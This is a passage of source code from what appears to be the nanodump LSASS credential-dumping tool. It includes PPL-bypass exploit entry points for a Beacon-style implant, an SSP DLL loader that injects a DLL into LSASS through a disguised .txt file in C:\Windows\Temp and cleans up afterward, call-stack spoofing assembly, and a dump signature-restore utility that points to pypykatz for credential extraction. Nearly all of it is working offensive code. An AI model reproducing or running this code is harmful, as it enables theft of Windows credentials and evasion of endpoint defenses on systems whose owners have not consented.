function_failed("InitializeSecurityDescriptor"); 133 | goto end; 134 | } 135 | 136 | success = SetSecurityDescriptorDacl( 137 | &sd, 138 | TRUE, 139 | NULL, 140 | FALSE); 141 | if (!success) 142 | { 143 | function_failed("SetSecurityDescriptorDacl"); 144 | goto end; 145 | } 146 | 147 | // 148 | // Apply the new Security Descriptor. 149 | // 150 | success = SetKernelObjectSecurity( 151 | hLink, 152 | DACL_SECURITY_INFORMATION, 153 | &sd); 154 | if (!success) 155 | { 156 | function_failed("SetKernelObjectSecurity"); 157 | goto end; 158 | } 159 | 160 | DPRINT("SetKernelObjectSecurity OK"); 161 | 162 | // 163 | // At this point we can close the object handle because only the WRITE_DAC right is associated 164 | // to it. This handle will not allow us to delete the object. 165 | // 166 | status = NtClose(hLink); hLink = NULL; 167 | if (!NT_SUCCESS(status)) 168 | { 169 | syscall_failed("NtClose", status); 170 | goto end; 171 | } 172 | 173 | DPRINT("NtClose OK"); 174 | 175 | // 176 | // This time, we should be able to open the link object with DELETE access. 177 | // 178 | status = NtOpenSymbolicLinkObject( 179 | &hLink, 180 | DELETE, 181 | &oa); 182 | if (!NT_SUCCESS(status)) 183 | { 184 | syscall_failed("NtOpenSymbolicLinkObject", status); 185 | goto end; 186 | } 187 | 188 | DPRINT("NtOpenSymbolicLinkObject('%ls', DELETE) OK", pwszLinkPath); 189 | 190 | // 191 | // Now, we can invoke NtMakeTemporaryObject to disable the "Permanent" flag of the object. When 192 | // an object does not have the "Permanent" flag enabled, it is automatically deleted when all 193 | // its handles are closed. 194 | // 195 | status = NtMakeTemporaryObject(hLink); 196 | if (!NT_SUCCESS(status)) 197 | { 198 | syscall_failed("NtMakeTemporaryObject", status); 199 | goto end; 200 | } 201 | 202 | DPRINT("NtMakeTemporaryObject OK"); 203 | 204 | bReturnValue = TRUE; 205 | 206 | end: 207 | if (hLink) 208 | NtClose(hLink); 209 | if (pwszLinkPath) 210 | { 211 | DATA_FREE(pwszLinkPath, wcslen(pwszLinkPath) * sizeof(WCHAR)); 212 | } 213 | 214 | return bReturnValue; 215 | } 216 | -------------------------------------------------------------------------------- /source/ppl/ppl.c: -------------------------------------------------------------------------------- 1 | #include "ppl/ppl.h" 2 | 3 | #if defined(PPL_DUMP) && defined(BOF) 4 | 5 | #include "ppl_dump.c" 6 | #include "ppl_utils.c" 7 | #include "../utils.c" 8 | #include "../dinvoke.c" 9 | #include "../syscalls.c" 10 | #include "../token_priv.c" 11 | #include "../impersonate.c" 12 | 13 | void go(char* args, int length) 14 | { 15 | datap parser = { 0 }; 16 | BOOL duplicate_handle = FALSE; 17 | LPCSTR dump_path = NULL; 18 | BOOL use_valid_sig = FALSE; 19 | unsigned char* nanodump_ppl_dump_dll = NULL; 20 | int nanodump_ppl_dump_dll_len = 0; 21 | 22 | BeaconDataParse(&parser, args, length); 23 | dump_path = BeaconDataExtract(&parser, NULL); 24 | use_valid_sig = (BOOL)BeaconDataInt(&parser); 25 | duplicate_handle = (BOOL)BeaconDataInt(&parser); 26 | nanodump_ppl_dump_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ppl_dump_dll_len); 27 | 28 | run_ppl_dump_exploit( 29 | nanodump_ppl_dump_dll, 30 | nanodump_ppl_dump_dll_len, 31 | dump_path, 32 | use_valid_sig, 33 | duplicate_handle); 34 | } 35 | 36 | #elif defined(PPL_DUMP) && defined(EXE) 37 | 38 | #include "ppl/ppl_dump.h" 39 | 40 | #ifdef _WIN64 41 | #include "nanodump_ppl_dump_dll.x64.h" 42 | #else 43 | #include "nanodump_ppl_dump_dll.x86.h" 44 | #endif 45 | 46 | void usage(char* procname) 47 | { 48 | PRINT("usage: %s --write C:\\Windows\\Temp\\doc.docx [--valid] [--duplicate] [--help]", procname); 49 | PRINT("Dumpfile options:"); 50 | PRINT(" --write DUMP_PATH, -w DUMP_PATH"); 51 | PRINT(" filename of the dump"); 52 | PRINT(" --valid, -v"); 53 | PRINT(" create a dump with a valid signature"); 54 | PRINT("Obtain an LSASS handle via:"); 55 | PRINT(" --duplicate, -d"); 56 | PRINT(" duplicate an existing " LSASS " handle"); 57 | PRINT("Help:"); 58 | PRINT(" --help, -h"); 59 | PRINT(" print this help message and leave"); 60 | } 61 | 62 | int main(int argc, char* argv[]) 63 | { 64 | BOOL duplicate_handle = FALSE; 65 | LPCSTR dump_path = NULL; 66 | BOOL use_valid_sig = FALSE; 67 | 68 | #ifdef _M_IX86 69 | if(local_is_wow64()) 70 | { 71 | PRINT_ERR("Nanodump does not support WoW64"); 72 | return -1; 73 | } 74 | #endif 75 | 76 | for (int i = 1; i < argc; ++i) 77 | { 78 | if (!strncmp(argv[i], "-v", 3) || 79 | !strncmp(argv[i], "--valid", 8)) 80 | { 81 | use_valid_sig = TRUE; 82 | } 83 | else if (!strncmp(argv[i], "-w", 3) || 84 | !strncmp(argv[i], "--write", 8)) 85 | { 86 | if (i + 1 >= argc) 87 | { 88 | PRINT("missing --write value"); 89 | return 0; 90 | } 91 | dump_path = argv[++i]; 92 | } 93 | else if (!strncmp(argv[i], "-d", 3) || 94 | !strncmp(argv[i], "--duplicate", 12)) 95 | { 96 | duplicate_handle = TRUE; 97 | } 98 | else if (!strncmp(argv[i], "-h", 3) || 99 | !strncmp(argv[i], "--help", 7)) 100 | { 101 | usage(argv[0]); 102 | return 0; 103 | } 104 | else 105 | { 106 | PRINT("invalid argument: %s", argv[i]); 107 | return 0; 108 | } 109 | } 110 | 111 | if (!dump_path) 112 | { 113 | PRINT("You need to provide the --write parameter"); 114 | return 0; 115 | } 116 | 117 | if (!is_full_path(dump_path)) 118 | { 119 | PRINT("You need to provide the full path: %s", dump_path); 120 | return 0; 121 | } 122 | 123 | run_ppl_dump_exploit( 124 | nanodump_ppl_dump_dll, 125 | nanodump_ppl_dump_dll_len, 126 | dump_path, 127 | use_valid_sig, 128 | duplicate_handle); 129 | 130 | return 0; 131 | } 132 | 133 | #elif defined(PPL_MEDIC) && defined(BOF) 134 | 135 | #include "ppl_medic.c" 136 | #include "ppl_medic_client.c" 137 | #include "ppl_utils.c" 138 | #include "../handle.c" 139 | #include "../utils.c" 140 | #include "../dinvoke.c" 141 | #include "../syscalls.c" 142 | #include "../token_priv.c" 143 | #include "../impersonate.c" 144 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 145 | #include "../pipe.c" 146 | #endif 147 | 148 | void go(char* args, int length) 149 | { 150 | datap parser = { 0 }; 151 | unsigned char* nanodump_ppl_medic_dll = NULL; 152 | int nanodump_ppl_medic_dll_len = 0; 153 | LPSTR dump_path = NULL; 154 | BOOL use_valid_sig = FALSE; 155 | BOOL elevate_handle = FALSE; 156 | 157 | BeaconDataParse(&parser, args, length); 158 | nanodump_ppl_medic_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ppl_medic_dll_len); 159 | 160 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 161 | /* 162 | * only parse parameters if PASS_PARAMS_VIA_NAMED_PIPES is enabled 163 | * if not, the hardcoded options in NanoDumpPPLMedic will be used 164 | */ 165 | dump_path = BeaconDataExtract(&parser, NULL); 166 | use_valid_sig = (BOOL)BeaconDataInt(&parser); 167 | elevate_handle = (BOOL)BeaconDataInt(&parser); 168 | #endif 169 | 170 | run_ppl_medic_exploit( 171 | nanodump_ppl_medic_dll, 172 | nanodump_ppl_medic_dll_len, 173 | dump_path, 174 | use_valid_sig, 175 | elevate_handle); 176 | } 177 | 178 | #elif defined(PPL_MEDIC) && defined(EXE) 179 | 180 | #include "ppl/ppl_medic.h" 181 | 182 | #include "nanodump_ppl_medic_dll.x64.h" 183 | 184 | #if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || (PASS_PARAMS_VIA_NAMED_PIPES == 0) 185 | 186 | int main(int argc, char* argv[]) 187 | { 188 | if (argc > 1) 189 | { 190 | PRINT("This binary doesn't take any parameteres because all the 'dump options' are hardcoded in NanoDumpPPLMedic"); 191 | return 0; 192 | } 193 | 194 | run_ppl_medic_exploit( 195 | nanodump_ppl_medic_dll, 196 | nanodump_ppl_medic_dll_len, 197 | NULL, 198 | FALSE, 199 | FALSE); 200 | 201 | return 0; 202 | } 203 | 204 | #else 205 | 206 | void usage(char* procname) 207 | { 208 | PRINT("usage: %s --write C:\\Windows\\Temp\\doc.docx [--valid] [--elevate-handle] [--help]", procname); 209 | PRINT("Dumpfile options:"); 210 | PRINT(" --write DUMP_PATH, -w DUMP_PATH"); 211 | PRINT(" filename of the dump"); 212 | PRINT(" --valid, -v"); 213 | PRINT(" create a dump with a valid signature"); 214 | PRINT("Avoid opening a handle with high privileges:") 215 | PRINT(" --elevate-handle, -eh"); 216 | PRINT(" open a handle to " LSASS " with low privileges and duplicate it to gain higher privileges"); 217 | PRINT("Help:"); 218 | PRINT(" --help, -h"); 219 | PRINT(" print this help message and leave"); 220 | } 221 | 222 | int main(int argc, char* argv[]) 223 | { 224 | LPSTR dump_path = NULL; 225 | BOOL use_valid_sig = FALSE; 226 | BOOL elevate_handle = FALSE; 227 | 228 | for (int i = 1; i < argc; ++i) 229 | { 230 | if (!strncmp(argv[i], "-v", 3) || 231 | !strncmp(argv[i], "--valid", 8)) 232 | { 233 | use_valid_sig = TRUE; 234 | } 235 | else if (!strncmp(argv[i], "-w", 3) || 236 | !strncmp(argv[i], "--write", 8)) 237 | { 238 | if (i + 1 >= argc) 239 | { 240 | PRINT("missing --write value"); 241 | return 0; 242 | } 243 | dump_path = argv[++i]; 244 | } 245 | else if (!strncmp(argv[i], "-eh", 4) || 246 | !strncmp(argv[i], "--elevate-handle", 17)) 247 | { 248 | elevate_handle = TRUE; 249 | } 250 | else if (!strncmp(argv[i], "-h", 3) || 251 | !strncmp(argv[i], "--help", 7)) 252 | { 253 | usage(argv[0]); 254 | return 0; 255 | } 256 | else 257 | { 258 | PRINT("invalid argument: %s", argv[i]); 259 | return 0; 260 | } 261 | } 262 | 263 | if (!dump_path) 264 | { 265 | PRINT("You need to provide the --write parameter"); 266 | return 0; 267 | } 268 | 269 | if (!is_full_path(dump_path)) 270 | { 271 | PRINT("You need to provide the full path: %s", dump_path); 272 | return 0; 273 | } 274 | 275 | run_ppl_medic_exploit( 276 | nanodump_ppl_medic_dll, 277 | nanodump_ppl_medic_dll_len, 278 | dump_path, 279 | use_valid_sig, 280 | elevate_handle); 281 | 282 | return 0; 283 | } 284 | 285 | #endif 286 | 287 | #endif 288 | -------------------------------------------------------------------------------- /source/ppl/ppl_medic_dll.c: -------------------------------------------------------------------------------- 1 | #include "ppl/ppl_medic_dll.h" 2 | 3 | BOOL signal_dll_load_event( 4 | IN LPWSTR event_name) 5 | { 6 | BOOL ret_val = FALSE; 7 | BOOL success = FALSE; 8 | HANDLE hEvent = NULL; 9 | LPWSTR pwszEventName = NULL; 10 | 11 | OpenEventW_t OpenEventW = NULL; 12 | SetEvent_t SetEvent = NULL; 13 | 14 | OpenEventW = (OpenEventW_t)(ULONG_PTR)get_function_address( 15 | get_library_address(KERNEL32_DLL, TRUE), 16 | OpenEventW_SW2_HASH, 17 | 0); 18 | if (!OpenEventW) 19 | { 20 | api_not_found("OpenEventW"); 21 | goto cleanup; 22 | } 23 | 24 | SetEvent = (SetEvent_t)(ULONG_PTR)get_function_address( 25 | get_library_address(KERNEL32_DLL, TRUE), 26 | SetEvent_SW2_HASH, 27 | 0); 28 | if (!SetEvent) 29 | { 30 | api_not_found("SetEvent"); 31 | goto cleanup; 32 | } 33 | 34 | pwszEventName = intAlloc((MAX_PATH + 1) * sizeof(WCHAR)); 35 | if (!pwszEventName) 36 | { 37 | malloc_failed(); 38 | goto cleanup; 39 | } 40 | 41 | swprintf_s(pwszEventName, MAX_PATH, L"Global\\%ws", event_name); 42 | 43 | hEvent = OpenEventW(EVENT_MODIFY_STATE, FALSE, pwszEventName); 44 | if (!hEvent) 45 | { 46 | function_failed("OpenEventW"); 47 | goto cleanup; 48 | } 49 | 50 | success = SetEvent(hEvent); 51 | if (!success) 52 | { 53 | function_failed("SetEvent"); 54 | goto cleanup; 55 | } 56 | 57 | ret_val = TRUE; 58 | 59 | cleanup: 60 | if (hEvent) 61 | NtClose(hEvent); 62 | if (pwszEventName) 63 | intFree(pwszEventName); 64 | 65 | return ret_val; 66 | } 67 | -------------------------------------------------------------------------------- /source/restore_signature.c: -------------------------------------------------------------------------------- 1 | #include 2 | 3 | int main(int argc, char* argv[]) 4 | { 5 | if (argc != 2) 6 | { 7 | fprintf(stderr, "usage: %s \n", argv[0]); 8 | return -1; 9 | } 10 | 11 | FILE* f = fopen(argv[1], "r+"); 12 | if (!f) 13 | { 14 | fprintf(stderr, "Invalid input file: %s\n", argv[1]); 15 | return -1; 16 | } 17 | 18 | // valid signature 19 | unsigned char signature[] = { 0x4d, 0x44, 0x4d, 0x50, 0x93, 0xa7, 0x00, 0x00 }; 20 | 21 | fseek(f, 0L, SEEK_SET); 22 | fwrite(signature, sizeof(signature), sizeof(unsigned char), f); 23 | 24 | fclose(f); f = NULL; 25 | 26 | printf("done, to analize the dump run:\npython3 -m pypykatz lsa minidump %s\n", argv[1]); 27 | 28 | return 0; 29 | } 30 | -------------------------------------------------------------------------------- /source/spoof_callstack-asm.asm: -------------------------------------------------------------------------------- 1 | .code 2 | 3 | get_rip PROC 4 | mov rax, [rsp] 5 | ret 6 | get_rip ENDP 7 | 8 | get_rsp PROC 9 | lea rax, [rsp+08h] 10 | ret 11 | get_rsp ENDP 12 | 13 | get_tib PROC 14 | mov rax, gs:[30h] 15 | ret 16 | get_tib ENDP 17 | 18 | jumper PROC 19 | pop r11 20 | xor rax, rax 21 | mov rdx, [rcx+008h] 22 | mov r8, [rcx+010h] 23 | mov r9, [rcx] 24 | bkp_stack_loop1: 25 | mov r10b, [r9+rax] 26 | mov [r8+rax], r10b 27 | inc rax 28 | cmp rax, rdx 29 | jne bkp_stack_loop1 30 | xor rax, rax 31 | mov r8, [rcx+018h] 32 | mov r9, [rcx+028h] 33 | mov rdx, [rcx+020h] 34 | cpy_fake_stack_loop1: 35 | mov r10b, [r8+rax] 36 | mov [r9+rax], r10b 37 | inc rax 38 | cmp rax, rdx 39 | jne cpy_fake_stack_loop1 40 | mov rax, [rcx+040h] 41 | mov rax, [rax+008h] 42 | mov rdx, [rcx+008h] 43 | mov [rax+000h], rdx 44 | mov rdx, [rcx+010h] 45 | mov [rax+008h], rdx 46 | mov rdx, [rcx] 47 | mov [rax+010h], rdx 48 | mov [rax+018h], rbx 49 | mov [rax+020h], rbp 50 | mov [rax+028h], rsp 51 | mov [rax+030h], r11 52 | xor rax, rax 53 | mov eax, [rcx+05ch] 54 | mov r10, rcx 55 | cmp eax, 01h 56 | jl params_ready1 57 | mov rcx, [r10+060h] 58 | cmp eax, 02h 59 | jl params_ready1 60 | mov rdx, [r10+068h] 61 | cmp eax, 03h 62 | jl params_ready1 63 | mov r8, [r10+070h] 64 | cmp eax, 04h 65 | jl params_ready1 66 | mov r9, [r10+078h] 67 | sub eax, 04h 68 | mov rbp, [r10+030h] 69 | stack_params_loop1: 70 | cmp eax, 01h 71 | jl params_ready1 72 | mov rbx, [r10+078h+rax*08h] 73 | mov [rbp+020h+rax*08h], rbx 74 | dec rax 75 | jmp stack_params_loop1 76 | params_ready1: 77 | mov rsp, [r10+030h] 78 | mov rbp, [r10+038h] 79 | mov eax, [r10+050h] 80 | mov r11, [r10+048h] 81 | mov r10, rcx 82 | jmp r11 83 | jumper ENDP 84 | 85 | end 86 | -------------------------------------------------------------------------------- /source/ssp/ssp.c: -------------------------------------------------------------------------------- 1 | #include "ssp/ssp.h" 2 | #include "ssp/ssp_utils.h" 3 | 4 | DWORD WINAPI load_ssp(LPVOID Parameter) 5 | { 6 | LPSTR ssp_path = (LPSTR)Parameter; 7 | AddSecurityPackageW_t AddSecurityPackageW; 8 | wchar_t ssp_path_w[MAX_PATH]; 9 | 10 | if (!is_full_path(ssp_path)) 11 | { 12 | PRINT_ERR("You must provide a full path: %s", ssp_path); 13 | return 1; 14 | } 15 | // find the address of AddSecurityPackageW dynamically 16 | AddSecurityPackageW = (AddSecurityPackageW_t)(ULONG_PTR)get_function_address( 17 | get_library_address(SSPICLI_DLL, TRUE), 18 | AddSecurityPackageW_SW2_HASH, 19 | 0); 20 | if (!AddSecurityPackageW) 21 | { 22 | api_not_found("AddSecurityPackageW"); 23 | return 1; 24 | } 25 | 26 | mbstowcs(ssp_path_w, ssp_path, MAX_PATH); 27 | 28 | //DPRINT("Loading %s into " LSASS, ssp_path); 29 | 30 | SECURITY_PACKAGE_OPTIONS spo = {0}; 31 | NTSTATUS status = AddSecurityPackageW(ssp_path_w, &spo); 32 | 33 | #if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || PASS_PARAMS_VIA_NAMED_PIPES == 0 34 | if (status == SEC_E_SECPKG_NOT_FOUND) 35 | { 36 | PRINT("Done, status: SEC_E_SECPKG_NOT_FOUND, this is normal if DllMain returns FALSE"); 37 | return 0; 38 | } 39 | else 40 | { 41 | PRINT("Done, status: 0x%lx", status); 42 | return 1; 43 | } 44 | #else 45 | { 46 | if (status == SEC_E_SECPKG_NOT_FOUND) 47 | { 48 | return 0; 49 | } 50 | else 51 | { 52 | return 1; 53 | } 54 | } 55 | #endif 56 | } 57 | 58 | BOOL write_dll( 59 | IN unsigned char nanodump_ssp_dll[], 60 | IN unsigned int nanodump_ssp_dll_len, 61 | IN LPSTR write_dll_path, 62 | IN LPSTR load_path, 63 | OUT LPSTR* random_dll_path) 64 | { 65 | BOOL ret_val = FALSE; 66 | BOOL success = FALSE; 67 | 68 | // if the user did not specify a pre-existing DLL, write our own 69 | if (!load_path) 70 | { 71 | // fair OPSEC warning 72 | PRINT_ERR("[!] Writing an unsigned DLL to disk"); 73 | 74 | if (!write_dll_path) 75 | { 76 | success = generate_random_dll_path(random_dll_path); 77 | if (!success) 78 | goto cleanup; 79 | 80 | write_dll_path = *random_dll_path; 81 | 82 | DPRINT("generated random dll path: %s", write_dll_path); 83 | } 84 | 85 | success = write_ssp_dll( 86 | write_dll_path, 87 | nanodump_ssp_dll, 88 | nanodump_ssp_dll_len); 89 | if (!success) 90 | goto cleanup; 91 | } 92 | 93 | ret_val = TRUE; 94 | 95 | cleanup: 96 | return ret_val; 97 | } 98 | 99 | VOID run_technique( 100 | IN unsigned char nanodump_ssp_dll[], 101 | IN unsigned int nanodump_ssp_dll_len, 102 | IN LPSTR write_dll_path, 103 | IN LPSTR load_path, 104 | IN LPSTR dump_path, 105 | IN BOOL use_valid_sig) 106 | { 107 | BOOL success = FALSE; 108 | LPSTR random_dll_path = NULL; 109 | LPSTR final_path = NULL; 110 | BOOL dump_worked = FALSE; 111 | HANDLE hThread = NULL; 112 | DWORD dwThreadId = 0; 113 | 114 | CreateThread_t CreateThread = NULL; 115 | 116 | // first of all, write the SSP DLL in the filesystem 117 | 118 | success = write_dll( 119 | nanodump_ssp_dll, 120 | nanodump_ssp_dll_len, 121 | write_dll_path, 122 | load_path, 123 | &random_dll_path); 124 | if (!success) 125 | goto cleanup; 126 | 127 | if (write_dll_path) 128 | final_path = write_dll_path; 129 | else if (load_path) 130 | final_path = load_path; 131 | else 132 | final_path = random_dll_path; 133 | 134 | #if !defined(PASS_PARAMS_VIA_NAMED_PIPES) || PASS_PARAMS_VIA_NAMED_PIPES == 0 135 | // if we are not going to pass parameters to the DLL, simply load it and exit 136 | load_ssp(final_path); 137 | #else 138 | // we are going to pass parametesr to the DLL, so we will load it on a separate thread and 139 | // pass the parameters via a named pipe 140 | 141 | 142 | CreateThread = (CreateThread_t)(ULONG_PTR)get_function_address( 143 | get_library_address(KERNEL32_DLL, TRUE), 144 | CreateThread_SW2_HASH, 145 | 0); 146 | if (!CreateThread) 147 | { 148 | api_not_found("CreateThread"); 149 | goto cleanup; 150 | } 151 | 152 | // load the SSP library in a thread because it will lock otherwise 153 | hThread = CreateThread(NULL, 0, load_ssp, final_path, 0, &dwThreadId); 154 | 155 | success = send_parameters_and_get_result( 156 | dump_path, 157 | use_valid_sig, 158 | &dump_worked); 159 | if (!success) 160 | goto cleanup; 161 | 162 | if (dump_worked) 163 | { 164 | print_success( 165 | dump_path, 166 | use_valid_sig, 167 | TRUE); 168 | } 169 | else 170 | { 171 | PRINT_ERR("The dump was not created"); 172 | } 173 | #endif 174 | 175 | cleanup: 176 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 177 | if (hThread) 178 | NtClose(hThread); 179 | #endif 180 | if (write_dll_path) 181 | delete_file(write_dll_path); 182 | if (random_dll_path) 183 | { 184 | delete_file(random_dll_path); 185 | intFree(random_dll_path); 186 | } 187 | } 188 | 189 | #if defined(BOF) 190 | 191 | #include "ssp_utils.c" 192 | #include "../utils.c" 193 | #include "../syscalls.c" 194 | #include "../dinvoke.c" 195 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 196 | #include "../pipe.c" 197 | #endif 198 | 199 | void go(char* args, int length) 200 | { 201 | datap parser = { 0 }; 202 | unsigned char* nanodump_ssp_dll = NULL; 203 | int nanodump_ssp_dll_len = 0; 204 | LPSTR write_dll_path = NULL; 205 | LPSTR load_path = NULL; 206 | LPSTR dump_path = NULL; 207 | BOOL use_valid_sig = FALSE; 208 | 209 | BeaconDataParse(&parser, args, length); 210 | nanodump_ssp_dll = (unsigned char*)BeaconDataExtract(&parser, &nanodump_ssp_dll_len); 211 | write_dll_path = BeaconDataExtract(&parser, NULL); 212 | load_path = BeaconDataExtract(&parser, NULL); 213 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 214 | /* 215 | * only parse parameters if PASS_PARAMS_VIA_NAMED_PIPES is enabled 216 | * if not, the hardcoded options in NanoDumpSSP will be used 217 | */ 218 | dump_path = BeaconDataExtract(&parser, NULL); 219 | use_valid_sig = (BOOL)BeaconDataInt(&parser); 220 | #endif 221 | 222 | if (!write_dll_path[0]) 223 | write_dll_path = NULL; 224 | if (!load_path[0]) 225 | load_path = NULL; 226 | 227 | run_technique( 228 | nanodump_ssp_dll, 229 | nanodump_ssp_dll_len, 230 | write_dll_path, 231 | load_path, 232 | dump_path, 233 | use_valid_sig); 234 | } 235 | 236 | #endif 237 | 238 | #if defined(EXE) 239 | 240 | #ifdef _WIN64 241 | #include "nanodump_ssp_dll.x64.h" 242 | #else 243 | #include "nanodump_ssp_dll.x86.h" 244 | #endif 245 | 246 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 247 | 248 | void usage(char* procname) 249 | { 250 | PRINT("usage: %s --write C:\\Windows\\Temp\\doc.docx [--valid] [--write-dll C:\\Windows\\Temp\\ssp.dll] [--load-dll C:\\Windows\\Temp\\ssp.dll] [--help]", procname); 251 | PRINT("Dumpfile options:"); 252 | PRINT(" --write DUMP_PATH, -w DUMP_PATH"); 253 | PRINT(" filename of the dump"); 254 | PRINT(" --valid, -v"); 255 | PRINT(" create a dump with a valid signature"); 256 | PRINT("SSP DLL options:"); 257 | PRINT(" --write-dll, -wdll"); 258 | PRINT(" path where to write the SSP DLL from nanodump (randomly generated if not defined)"); 259 | PRINT(" --load-dll, -ldll"); 260 | PRINT(" load an existing SSP DLL"); 261 | PRINT("Help:"); 262 | PRINT(" --help, -h"); 263 | PRINT(" print this help message and leave"); 264 | } 265 | 266 | int main(int argc, char* argv[]) 267 | { 268 | LPSTR dump_path = NULL; 269 | BOOL use_valid_sig = FALSE; 270 | LPSTR write_dll_path = NULL; 271 | LPSTR load_path = NULL; 272 | 273 | for (int i = 1; i < argc; ++i) 274 | { 275 | if (!strncmp(argv[i], "-v", 3) || 276 | !strncmp(argv[i], "--valid", 8)) 277 | { 278 | use_valid_sig = TRUE; 279 | } 280 | else if (!strncmp(argv[i], "-w", 3) || 281 | !strncmp(argv[i], "--write", 8)) 282 | { 283 | if (i + 1 >= argc) 284 | { 285 | PRINT("missing --write value"); 286 | return 0; 287 | } 288 | dump_path = argv[++i]; 289 | } 290 | else if (!strncmp(argv[i], "-wdll", 6) || 291 | !strncmp(argv[i], "--write-dll", 12)) 292 | { 293 | if (i + 1 >= argc) 294 | { 295 | PRINT("missing --write-dll value"); 296 | return 0; 297 | } 298 | write_dll_path = argv[++i]; 299 | } 300 | else if (!strncmp(argv[i], "-ldll", 6) || 301 | !strncmp(argv[i], "--load-dll", 11)) 302 | { 303 | if (i + 1 >= argc) 304 | { 305 | PRINT("missing --load value"); 306 | return 0; 307 | } 308 | load_path = argv[++i]; 309 | } 310 | else if (!strncmp(argv[i], "-h", 3) || 311 | !strncmp(argv[i], "--help", 7)) 312 | { 313 | usage(argv[0]); 314 | return 0; 315 | } 316 | else 317 | { 318 | PRINT("invalid argument: %s", argv[i]); 319 | return 0; 320 | } 321 | } 322 | 323 | if (!dump_path) 324 | { 325 | PRINT("You need to provide the --write parameter"); 326 | return 0; 327 | } 328 | 329 | if (!is_full_path(dump_path)) 330 | { 331 | PRINT("You need to provide the full path: %s", dump_path); 332 | return 0; 333 | } 334 | 335 | if (load_path && write_dll_path) 336 | { 337 | PRINT("The options --write-dll and --load-dll cannot be used together"); 338 | return 0; 339 | } 340 | 341 | run_technique( 342 | nanodump_ssp_dll, 343 | nanodump_ssp_dll_len, 344 | write_dll_path, 345 | load_path, 346 | dump_path, 347 | use_valid_sig); 348 | 349 | return 0; 350 | } 351 | 352 | #else // #if PASS_PARAMS_VIA_NAMED_PIPES == 1 353 | 354 | void usage(char* procname) 355 | { 356 | PRINT("usage: %s [--write-dll C:\\Windows\\Temp\\ssp.dll] [--load-dll C:\\Windows\\Temp\\ssp.dll] [--help]", procname); 357 | PRINT("SSP DLL options:"); 358 | PRINT(" --write-dll, -wdll"); 359 | PRINT(" path where to write the SSP DLL from nanodump (randomly generated if not defined)"); 360 | PRINT(" --load-dll, -ldll"); 361 | PRINT(" load an existing SSP DLL"); 362 | PRINT("Help:"); 363 | PRINT(" --help, -h"); 364 | PRINT(" print this help message and leave"); 365 | } 366 | 367 | int main(int argc, char* argv[]) 368 | { 369 | LPSTR write_dll_path = NULL; 370 | LPSTR load_path = NULL; 371 | 372 | for (int i = 1; i < argc; ++i) 373 | { 374 | if (!strncmp(argv[i], "-wdll", 6) || 375 | !strncmp(argv[i], "--write-dll", 12)) 376 | { 377 | if (i + 1 >= argc) 378 | { 379 | PRINT("missing --write-dll value"); 380 | return 0; 381 | } 382 | write_dll_path = argv[++i]; 383 | } 384 | else if (!strncmp(argv[i], "-ldll", 6) || 385 | !strncmp(argv[i], "--load-dll", 11)) 386 | { 387 | if (i + 1 >= argc) 388 | { 389 | PRINT("missing --load value"); 390 | return 0; 391 | } 392 | load_path = argv[++i]; 393 | } 394 | else if (!strncmp(argv[i], "-h", 3) || 395 | !strncmp(argv[i], "--help", 7)) 396 | { 397 | usage(argv[0]); 398 | return 0; 399 | } 400 | else 401 | { 402 | PRINT("invalid argument: %s", argv[i]); 403 | return 0; 404 | } 405 | } 406 | 407 | if (load_path && write_dll_path) 408 | { 409 | PRINT("The options --write-dll and --load-dll cannot be used together"); 410 | return 0; 411 | } 412 | 413 | run_technique( 414 | nanodump_ssp_dll, 415 | nanodump_ssp_dll_len, 416 | write_dll_path, 417 | load_path, 418 | NULL, 419 | FALSE); 420 | 421 | return 0; 422 | } 423 | 424 | #endif // #if PASS_PARAMS_VIA_NAMED_PIPES == 1 425 | 426 | #endif // defined(EXE) 427 | -------------------------------------------------------------------------------- /source/ssp/ssp_utils.c: -------------------------------------------------------------------------------- 1 | #include "ssp/ssp_utils.h" 2 | #include "utils.h" 3 | #include "pipe.h" 4 | 5 | BOOL generate_random_dll_path( 6 | OUT LPSTR* random_path) 7 | { 8 | BOOL ret_val = FALSE; 9 | LPSTR rand_path = NULL; 10 | ULONG32 rand_num = 0; 11 | CHAR c = 0; 12 | 13 | // intializes the random number generator 14 | time_t t; 15 | srand((unsigned) time(&t)); 16 | 17 | rand_path = intAlloc(MAX_PATH + 1); 18 | if (!rand_path) 19 | { 20 | malloc_failed(); 21 | goto cleanup; 22 | } 23 | 24 | strncpy(rand_path, "C:\\Windows\\Temp\\", MAX_PATH); 25 | 26 | for (int i = 0; i < DLL_NAME_LENGTH; ++i) 27 | { 28 | rand_num = rand() % 52; 29 | if (rand_num < 26) 30 | c = 97 + rand_num; 31 | else 32 | c = 65 - 26 + rand_num; 33 | rand_path[16 + i] = c; 34 | } 35 | 36 | // the extension does not need to be '.dll' 37 | strncat(rand_path, ".txt", MAX_PATH); 38 | 39 | *random_path = rand_path; 40 | 41 | ret_val = TRUE; 42 | 43 | cleanup: 44 | if (!ret_val && rand_path) 45 | intFree(rand_path); 46 | if (!ret_val) 47 | *random_path = NULL; 48 | 49 | return ret_val; 50 | } 51 | 52 | BOOL write_ssp_dll( 53 | IN LPSTR ssp_dll_path, 54 | IN unsigned char nanodump_ssp_dll[], 55 | IN unsigned int nanodump_ssp_dll_len) 56 | { 57 | BOOL ret_val = FALSE; 58 | BOOL success = FALSE; 59 | WCHAR wcFilePath[MAX_PATH] = { 0 }; 60 | UNICODE_STRING file_path = { 0 }; 61 | 62 | file_path.Buffer = wcFilePath; 63 | file_path.Length = 0; 64 | file_path.MaximumLength = 0; 65 | 66 | get_full_path(&file_path, ssp_dll_path); 67 | 68 | success = write_file( 69 | &file_path, 70 | nanodump_ssp_dll, 71 | nanodump_ssp_dll_len); 72 | if (!success) 73 | { 74 | PRINT_ERR("Failed to write the DLL to %s", ssp_dll_path); 75 | goto cleanup; 76 | } 77 | 78 | ret_val = TRUE; 79 | 80 | cleanup: 81 | return ret_val; 82 | } 83 | 84 | #if PASS_PARAMS_VIA_NAMED_PIPES == 1 85 | 86 | BOOL send_parameters_and_get_result( 87 | IN LPSTR dump_path, 88 | IN BOOL use_valid_sig, 89 | OUT PBOOL dump_worked) 90 | { 91 | 